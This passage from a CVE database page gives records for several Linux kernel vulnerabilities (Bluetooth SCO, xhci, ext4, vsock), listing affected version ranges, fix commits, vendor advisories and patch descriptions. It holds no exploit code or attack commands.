              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.9",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.216",
                  "versionStartIncluding": "3.8",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.178",
                  "versionStartIncluding": "3.8",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.87",
                  "versionStartIncluding": "3.8",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.28",
                  "versionStartIncluding": "3.8",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.8.7",
                  "versionStartIncluding": "3.8",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.9",
                  "versionStartIncluding": "3.8",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nBluetooth: SCO: Fix not validating setsockopt user input\n\nsyzbot reported sco_sock_setsockopt() is copying data without\nchecking user input length.\n\nBUG: KASAN: slab-out-of-bounds in copy_from_sockptr_offset\ninclude/linux/sockptr.h:49 [inline]\nBUG: KASAN: slab-out-of-bounds in copy_from_sockptr\ninclude/linux/sockptr.h:55 [inline]\nBUG: KASAN: slab-out-of-bounds in sco_sock_setsockopt+0xc0b/0xf90\nnet/bluetooth/sco.c:893\nRead of size 4 at addr ffff88805f7b15a3 by task syz-executor.5/12578"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:14:40.192Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/b0e30c37695b614bee69187f86eaf250e36606ce"
        },
        {
          "url": "https://git.kernel.org/stable/c/2c2dc87cdebef3fe3b9d7a711a984c70e376e32e"
        },
        {
          "url": "https://git.kernel.org/stable/c/7bc65d23ba20dcd7ecc094a12c181e594e5eb315"
        },
        {
          "url": "https://git.kernel.org/stable/c/72473db90900da970a16ee50ad23c2c38d107d8c"
        },
        {
          "url": "https://git.kernel.org/stable/c/419a0ffca7010216f0fc265b08558d7394fa0ba7"
        },
        {
          "url": "https://git.kernel.org/stable/c/51eda36d33e43201e7a4fd35232e069b2c850b01"
        }
      ],
      "title": "Bluetooth: SCO: Fix not validating setsockopt user input",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-35967",
    "datePublished": "2024-05-20T09:41:56.503Z",
    "dateReserved": "2024-05-17T13:50:33.140Z",
    "dateUpdated": "2026-05-12T11:53:18.152Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-57981 (GCVE-0-2024-57981)

Vulnerability from cvelistv5 – Published: 2025-02-27 02:07 – Updated: 2026-05-12 12:01

Title

usb: xhci: Fix NULL pointer dereference on certain command aborts

Summary

In the Linux kernel, the following vulnerability has been resolved: usb: xhci: Fix NULL pointer dereference on certain command aborts If a command is queued to the final usable TRB of a ring segment, the enqueue pointer is advanced to the subsequent link TRB and no further. If the command is later aborted, when the abort completion is handled the dequeue pointer is advanced to the first TRB of the next segment. If no further commands are queued, xhci_handle_stopped_cmd_ring() sees the ring pointers unequal and assumes that there is a pending command, so it calls xhci_mod_cmd_timer() which crashes if cur_cmd was NULL. Don't attempt timer setup if cur_cmd is NULL. The subsequent doorbell ring likely is unnecessary too, but it's harmless. Leave it alone. This is probably Bug 219532, but no confirmation has been received. The issue has been independently reproduced and confirmed fixed using a USB MCU programmed to NAK the Status stage of SET_ADDRESS forever. Everything continued working normally after several prevented crashes.

Severity ?

No CVSS data available.

Assigner

Linux

References

8 references

URL	Tags
https://git.kernel.org/stable/c/fd8bfaeba4a85b144…
https://git.kernel.org/stable/c/b44253956407046e5…
https://git.kernel.org/stable/c/cf30300a216a4f8dc…
https://git.kernel.org/stable/c/4ff18870af793ce20…
https://git.kernel.org/stable/c/b649f0d5bc256f691…
https://git.kernel.org/stable/c/ae069cd2ba09a2bd6…
https://git.kernel.org/stable/c/0ce5c0dac768be14a…
https://git.kernel.org/stable/c/1e0a19912adb68a4b…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: c311e391a7efd101250c0e123286709b7e736249 , < fd8bfaeba4a85b14427899adec0efb3954300653 (git) Affected: c311e391a7efd101250c0e123286709b7e736249 , < b44253956407046e5907d4d72c8fa5b93ae94485 (git) Affected: c311e391a7efd101250c0e123286709b7e736249 , < cf30300a216a4f8dce94e11781a866a09d4b50d4 (git) Affected: c311e391a7efd101250c0e123286709b7e736249 , < 4ff18870af793ce2034a6ad746e91d0a3d985b88 (git) Affected: c311e391a7efd101250c0e123286709b7e736249 , < b649f0d5bc256f691c7d234c3986685d54053de1 (git) Affected: c311e391a7efd101250c0e123286709b7e736249 , < ae069cd2ba09a2bd6a87a68c59ef0b7ea39cd641 (git) Affected: c311e391a7efd101250c0e123286709b7e736249 , < 0ce5c0dac768be14afe2426101b568a0f66bfc4d (git) Affected: c311e391a7efd101250c0e123286709b7e736249 , < 1e0a19912adb68a4b2b74fd77001c96cd83eb073 (git)
Linux	Linux	Affected: 3.16 Unaffected: 0 , < 3.16 (semver) Unaffected: 5.4.291 , ≤ 5.4.* (semver) Unaffected: 5.10.235 , ≤ 5.10.* (semver) Unaffected: 5.15.179 , ≤ 5.15.* (semver) Unaffected: 6.1.129 , ≤ 6.1.* (semver) Unaffected: 6.6.76 , ≤ 6.6.* (semver) Unaffected: 6.12.13 , ≤ 6.12.* (semver) Unaffected: 6.13.2 , ≤ 6.13.* (semver) Unaffected: 6.14 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-03T19:33:02.039Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/05/msg00030.html"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/03/msg00028.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - BIOS",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T12:01:46.491Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-503939.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "drivers/usb/host/xhci-ring.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "fd8bfaeba4a85b14427899adec0efb3954300653",
              "status": "affected",
              "version": "c311e391a7efd101250c0e123286709b7e736249",
              "versionType": "git"
            },
            {
              "lessThan": "b44253956407046e5907d4d72c8fa5b93ae94485",
              "status": "affected",
              "version": "c311e391a7efd101250c0e123286709b7e736249",
              "versionType": "git"
            },
            {
              "lessThan": "cf30300a216a4f8dce94e11781a866a09d4b50d4",
              "status": "affected",
              "version": "c311e391a7efd101250c0e123286709b7e736249",
              "versionType": "git"
            },
            {
              "lessThan": "4ff18870af793ce2034a6ad746e91d0a3d985b88",
              "status": "affected",
              "version": "c311e391a7efd101250c0e123286709b7e736249",
              "versionType": "git"
            },
            {
              "lessThan": "b649f0d5bc256f691c7d234c3986685d54053de1",
              "status": "affected",
              "version": "c311e391a7efd101250c0e123286709b7e736249",
              "versionType": "git"
            },
            {
              "lessThan": "ae069cd2ba09a2bd6a87a68c59ef0b7ea39cd641",
              "status": "affected",
              "version": "c311e391a7efd101250c0e123286709b7e736249",
              "versionType": "git"
            },
            {
              "lessThan": "0ce5c0dac768be14afe2426101b568a0f66bfc4d",
              "status": "affected",
              "version": "c311e391a7efd101250c0e123286709b7e736249",
              "versionType": "git"
            },
            {
              "lessThan": "1e0a19912adb68a4b2b74fd77001c96cd83eb073",
              "status": "affected",
              "version": "c311e391a7efd101250c0e123286709b7e736249",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "drivers/usb/host/xhci-ring.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "3.16"
            },
            {
              "lessThan": "3.16",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.291",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.235",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.179",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.129",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.76",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.12.*",
              "status": "unaffected",
              "version": "6.12.13",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.13.*",
              "status": "unaffected",
              "version": "6.13.2",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.14",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.291",
                  "versionStartIncluding": "3.16",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.235",
                  "versionStartIncluding": "3.16",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.179",
                  "versionStartIncluding": "3.16",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.129",
                  "versionStartIncluding": "3.16",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.76",
                  "versionStartIncluding": "3.16",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.12.13",
                  "versionStartIncluding": "3.16",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.13.2",
                  "versionStartIncluding": "3.16",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.14",
                  "versionStartIncluding": "3.16",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nusb: xhci: Fix NULL pointer dereference on certain command aborts\n\nIf a command is queued to the final usable TRB of a ring segment, the\nenqueue pointer is advanced to the subsequent link TRB and no further.\nIf the command is later aborted, when the abort completion is handled\nthe dequeue pointer is advanced to the first TRB of the next segment.\n\nIf no further commands are queued, xhci_handle_stopped_cmd_ring() sees\nthe ring pointers unequal and assumes that there is a pending command,\nso it calls xhci_mod_cmd_timer() which crashes if cur_cmd was NULL.\n\nDon\u0027t attempt timer setup if cur_cmd is NULL. The subsequent doorbell\nring likely is unnecessary too, but it\u0027s harmless. Leave it alone.\n\nThis is probably Bug 219532, but no confirmation has been received.\n\nThe issue has been independently reproduced and confirmed fixed using\na USB MCU programmed to NAK the Status stage of SET_ADDRESS forever.\nEverything continued working normally after several prevented crashes."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T21:01:29.822Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/fd8bfaeba4a85b14427899adec0efb3954300653"
        },
        {
          "url": "https://git.kernel.org/stable/c/b44253956407046e5907d4d72c8fa5b93ae94485"
        },
        {
          "url": "https://git.kernel.org/stable/c/cf30300a216a4f8dce94e11781a866a09d4b50d4"
        },
        {
          "url": "https://git.kernel.org/stable/c/4ff18870af793ce2034a6ad746e91d0a3d985b88"
        },
        {
          "url": "https://git.kernel.org/stable/c/b649f0d5bc256f691c7d234c3986685d54053de1"
        },
        {
          "url": "https://git.kernel.org/stable/c/ae069cd2ba09a2bd6a87a68c59ef0b7ea39cd641"
        },
        {
          "url": "https://git.kernel.org/stable/c/0ce5c0dac768be14afe2426101b568a0f66bfc4d"
        },
        {
          "url": "https://git.kernel.org/stable/c/1e0a19912adb68a4b2b74fd77001c96cd83eb073"
        }
      ],
      "title": "usb: xhci: Fix NULL pointer dereference on certain command aborts",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-57981",
    "datePublished": "2025-02-27T02:07:07.489Z",
    "dateReserved": "2025-02-27T02:04:28.913Z",
    "dateUpdated": "2026-05-12T12:01:46.491Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-49889 (GCVE-0-2024-49889)

Vulnerability from cvelistv5 – Published: 2024-10-21 18:01 – Updated: 2026-05-12 11:58

Title

ext4: avoid use-after-free in ext4_ext_show_leaf()

Summary

In the Linux kernel, the following vulnerability has been resolved: ext4: avoid use-after-free in ext4_ext_show_leaf() In ext4_find_extent(), path may be freed by error or be reallocated, so using a previously saved *ppath may have been freed and thus may trigger use-after-free, as follows: ext4_split_extent path = *ppath; ext4_split_extent_at(ppath) path = ext4_find_extent(ppath) ext4_split_extent_at(ppath) // ext4_find_extent fails to free path // but zeroout succeeds ext4_ext_show_leaf(inode, path) eh = path[depth].p_hdr // path use-after-free !!! Similar to ext4_split_extent_at(), we use *ppath directly as an input to ext4_ext_show_leaf(). Fix a spelling error by the way. Same problem in ext4_ext_handle_unwritten_extents(). Since 'path' is only used in ext4_ext_show_leaf(), remove 'path' and use *ppath directly. This issue is triggered only when EXT_DEBUG is defined and therefore does not affect functionality.

Severity ?

No CVSS data available.

Assigner

Linux

References

7 references

URL	Tags
https://git.kernel.org/stable/c/b0cb4561fc4284d04…
https://git.kernel.org/stable/c/4999fed877bb64e3e…
https://git.kernel.org/stable/c/2eba3b0cc5b8de624…
https://git.kernel.org/stable/c/34b2096380ba47577…
https://git.kernel.org/stable/c/8b114f2cc7dd5d367…
https://git.kernel.org/stable/c/d483c7cc1796bd6a8…
https://git.kernel.org/stable/c/4e2524ba2ca5f54bd…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: dfe5080939ea4686b3414b5d970a9b26733c57a4 , < b0cb4561fc4284d04e69c8a66c8504928ab2484e (git) Affected: dfe5080939ea4686b3414b5d970a9b26733c57a4 , < 4999fed877bb64e3e7f9ab9996de2ca983c41928 (git) Affected: dfe5080939ea4686b3414b5d970a9b26733c57a4 , < 2eba3b0cc5b8de624918d21f32b5b8db59a90b39 (git) Affected: dfe5080939ea4686b3414b5d970a9b26733c57a4 , < 34b2096380ba475771971a778a478661a791aa15 (git) Affected: dfe5080939ea4686b3414b5d970a9b26733c57a4 , < 8b114f2cc7dd5d36729d040b68432fbd0f0a8868 (git) Affected: dfe5080939ea4686b3414b5d970a9b26733c57a4 , < d483c7cc1796bd6a80e7b3a8fd494996260f6b67 (git) Affected: dfe5080939ea4686b3414b5d970a9b26733c57a4 , < 4e2524ba2ca5f54bdbb9e5153bea00421ef653f5 (git)
Linux	Linux	Affected: 3.18 Unaffected: 0 , < 3.18 (semver) Unaffected: 5.10.227 , ≤ 5.10.* (semver) Unaffected: 5.15.168 , ≤ 5.15.* (semver) Unaffected: 6.1.113 , ≤ 6.1.* (semver) Unaffected: 6.6.55 , ≤ 6.6.* (semver) Unaffected: 6.10.14 , ≤ 6.10.* (semver) Unaffected: 6.11.3 , ≤ 6.11.* (semver) Unaffected: 6.12 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-49889",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-10-22T13:44:36.395156Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-10-22T13:48:49.316Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-03T22:22:53.988Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/03/msg00002.html"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/01/msg00001.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "RUGGEDCOM RST2428P",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.2",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XC-300/XR-300/XC-400/XR-500WG/XR-500 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.2",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XCM-/XRM-/XCH-/XRH-300 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.2",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:58:53.518Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-355557.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "fs/ext4/extents.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "b0cb4561fc4284d04e69c8a66c8504928ab2484e",
              "status": "affected",
              "version": "dfe5080939ea4686b3414b5d970a9b26733c57a4",
              "versionType": "git"
            },
            {
              "lessThan": "4999fed877bb64e3e7f9ab9996de2ca983c41928",
              "status": "affected",
              "version": "dfe5080939ea4686b3414b5d970a9b26733c57a4",
              "versionType": "git"
            },
            {
              "lessThan": "2eba3b0cc5b8de624918d21f32b5b8db59a90b39",
              "status": "affected",
              "version": "dfe5080939ea4686b3414b5d970a9b26733c57a4",
              "versionType": "git"
            },
            {
              "lessThan": "34b2096380ba475771971a778a478661a791aa15",
              "status": "affected",
              "version": "dfe5080939ea4686b3414b5d970a9b26733c57a4",
              "versionType": "git"
            },
            {
              "lessThan": "8b114f2cc7dd5d36729d040b68432fbd0f0a8868",
              "status": "affected",
              "version": "dfe5080939ea4686b3414b5d970a9b26733c57a4",
              "versionType": "git"
            },
            {
              "lessThan": "d483c7cc1796bd6a80e7b3a8fd494996260f6b67",
              "status": "affected",
              "version": "dfe5080939ea4686b3414b5d970a9b26733c57a4",
              "versionType": "git"
            },
            {
              "lessThan": "4e2524ba2ca5f54bdbb9e5153bea00421ef653f5",
              "status": "affected",
              "version": "dfe5080939ea4686b3414b5d970a9b26733c57a4",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "fs/ext4/extents.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "3.18"
            },
            {
              "lessThan": "3.18",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.227",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.168",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.113",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.55",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.10.*",
              "status": "unaffected",
              "version": "6.10.14",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.11.*",
              "status": "unaffected",
              "version": "6.11.3",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.12",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.227",
                  "versionStartIncluding": "3.18",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.168",
                  "versionStartIncluding": "3.18",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.113",
                  "versionStartIncluding": "3.18",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.55",
                  "versionStartIncluding": "3.18",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.10.14",
                  "versionStartIncluding": "3.18",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.11.3",
                  "versionStartIncluding": "3.18",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.12",
                  "versionStartIncluding": "3.18",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\next4: avoid use-after-free in ext4_ext_show_leaf()\n\nIn ext4_find_extent(), path may be freed by error or be reallocated, so\nusing a previously saved *ppath may have been freed and thus may trigger\nuse-after-free, as follows:\n\next4_split_extent\n  path = *ppath;\n  ext4_split_extent_at(ppath)\n  path = ext4_find_extent(ppath)\n  ext4_split_extent_at(ppath)\n    // ext4_find_extent fails to free path\n    // but zeroout succeeds\n  ext4_ext_show_leaf(inode, path)\n    eh = path[depth].p_hdr\n    // path use-after-free !!!\n\nSimilar to ext4_split_extent_at(), we use *ppath directly as an input to\next4_ext_show_leaf(). Fix a spelling error by the way.\n\nSame problem in ext4_ext_handle_unwritten_extents(). Since \u0027path\u0027 is only\nused in ext4_ext_show_leaf(), remove \u0027path\u0027 and use *ppath directly.\n\nThis issue is triggered only when EXT_DEBUG is defined and therefore does\nnot affect functionality."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:41:13.349Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/b0cb4561fc4284d04e69c8a66c8504928ab2484e"
        },
        {
          "url": "https://git.kernel.org/stable/c/4999fed877bb64e3e7f9ab9996de2ca983c41928"
        },
        {
          "url": "https://git.kernel.org/stable/c/2eba3b0cc5b8de624918d21f32b5b8db59a90b39"
        },
        {
          "url": "https://git.kernel.org/stable/c/34b2096380ba475771971a778a478661a791aa15"
        },
        {
          "url": "https://git.kernel.org/stable/c/8b114f2cc7dd5d36729d040b68432fbd0f0a8868"
        },
        {
          "url": "https://git.kernel.org/stable/c/d483c7cc1796bd6a80e7b3a8fd494996260f6b67"
        },
        {
          "url": "https://git.kernel.org/stable/c/4e2524ba2ca5f54bdbb9e5153bea00421ef653f5"
        }
      ],
      "title": "ext4: avoid use-after-free in ext4_ext_show_leaf()",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-49889",
    "datePublished": "2024-10-21T18:01:24.941Z",
    "dateReserved": "2024-10-21T12:17:06.022Z",
    "dateUpdated": "2026-05-12T11:58:53.518Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2025-21669 (GCVE-0-2025-21669)

Vulnerability from cvelistv5 – Published: 2025-01-31 11:25 – Updated: 2026-05-12 12:03

Title

vsock/virtio: discard packets if the transport changes

Summary

In the Linux kernel, the following vulnerability has been resolved: vsock/virtio: discard packets if the transport changes If the socket has been de-assigned or assigned to another transport, we must discard any packets received because they are not expected and would cause issues when we access vsk->transport. A possible scenario is described by Hyunwoo Kim in the attached link, where after a first connect() interrupted by a signal, and a second connect() failed, we can find `vsk->transport` at NULL, leading to a NULL pointer dereference.

Severity ?

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE

CWE-476 - NULL Pointer Dereference

Assigner

Linux

References

6 references

URL	Tags
https://git.kernel.org/stable/c/18a7fc371d1dbf8de…
https://git.kernel.org/stable/c/6486915fa661584d7…
https://git.kernel.org/stable/c/88244163bc7e7b0ce…
https://git.kernel.org/stable/c/d88b249e14bd0ee1e…
https://git.kernel.org/stable/c/677579b641af10961…
https://git.kernel.org/stable/c/2cb7c756f605ec02f…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: c0cfa2d8a788fcf45df5bf4070ab2474c88d543a , < 18a7fc371d1dbf8deff16c2dd9292bcc73f43040 (git) Affected: c0cfa2d8a788fcf45df5bf4070ab2474c88d543a , < 6486915fa661584d70e8e7e4068c6c075c67dd6d (git) Affected: c0cfa2d8a788fcf45df5bf4070ab2474c88d543a , < 88244163bc7e7b0ce9dd7bf4c8a563b41525c3ee (git) Affected: c0cfa2d8a788fcf45df5bf4070ab2474c88d543a , < d88b249e14bd0ee1e46bbe4f456e22e01b8c68de (git) Affected: c0cfa2d8a788fcf45df5bf4070ab2474c88d543a , < 677579b641af109613564460a4e3bdcb16850b61 (git) Affected: c0cfa2d8a788fcf45df5bf4070ab2474c88d543a , < 2cb7c756f605ec02ffe562fb26828e4bcc5fdfc1 (git)
Linux	Linux	Affected: 5.5 Unaffected: 0 , < 5.5 (semver) Unaffected: 5.10.234 , ≤ 5.10.* (semver) Unaffected: 5.15.177 , ≤ 5.15.* (semver) Unaffected: 6.1.127 , ≤ 6.1.* (semver) Unaffected: 6.6.74 , ≤ 6.6.* (semver) Unaffected: 6.12.11 , ≤ 6.12.* (semver) Unaffected: 6.13 , ≤ * (original_commit_for_fix)

